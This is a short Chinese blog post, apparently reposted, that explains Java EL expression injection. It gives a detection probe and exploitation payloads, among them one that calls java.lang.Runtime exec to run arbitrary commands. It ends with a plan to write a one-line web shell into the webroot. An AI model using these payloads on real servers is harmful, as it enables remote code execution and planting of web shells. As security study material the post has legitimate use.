JAVA WEB EL表达式注入

  看猪猪侠以前的洞,顺便总结下:

一、EL表达式简介

  EL 全名为Expression Language。EL主要作用:
  1、获取数据
    EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的web域 中检索java对象、获取数据。(某个web域 中的对象,访问javabean的属性、访问list集合、访问map集合、访问数组)
  2、执行运算
    利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算。${user==null}
  3、获取web开发常用对象
    EL 表达式定义了一些隐式对象,利用这些隐式对象,web开发人员可以很轻松获得对web常用对象的引用,从而获得这些对象中的数据。
  4、调用Java方法
    EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法。

嗯,这段复制的,详细链接:https://www.cnblogs.com/xdp-gacl/p/3938361.html

检测方式:

  

https://www.a.com/login?a=${10-9}

 表达式执行会会显在页面上,检查源码。

 

漏洞利用:

${pageContext} 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)

${pageContext.getSession().getServletContext().getClassLoader().getResource("")}   获取web路径

${header}  文件头参数

${applicationScope} 获取webRoot

${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())}  执行命令

  

渗透思路:获取webroot路径,exec执行命令echo写入一句话。

猜你喜欢

转载自www.cnblogs.com/junsec/p/11132652.html